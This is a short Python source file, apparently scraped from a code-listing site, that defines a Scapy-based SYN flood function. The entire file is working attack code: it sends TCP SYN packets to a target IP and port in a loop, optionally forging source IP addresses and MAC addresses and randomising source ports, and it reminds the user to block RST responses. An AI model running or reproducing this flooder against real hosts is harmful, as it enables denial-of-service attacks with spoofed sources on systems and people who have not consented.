cmd_synflood.py 文件源码

def cmd_synflood(ip, interface, count, port, forgemac, forgeip, verbose):

    conf.verb = False

    if interface:
        conf.iface = interface

    layer2 = Ether()

    layer3 = IP()
    layer3.dst = ip

    layer4 = TCP()
    layer4.dport = port

    pkt = layer2 / layer3 / layer4

    counter = 0

    print("please, remember to block your RST responses")

    while True:
        if forgeip:
            pkt[IP].src = "%s.%s" %(pkt[IP].src.rsplit('.', maxsplit=1)[0], randint(1, 254))
        if forgemac:
            pkt[Ether].src = RandMAC()

        pkt[TCP].sport = randint(10000, 65000)

        if verbose:
            print(pkt.summary())
        else:
            print('.', end='')
            sys.stdout.flush()

        sendp(pkt)
        counter += 1

        if count != 0 and counter == count:
            break

    return True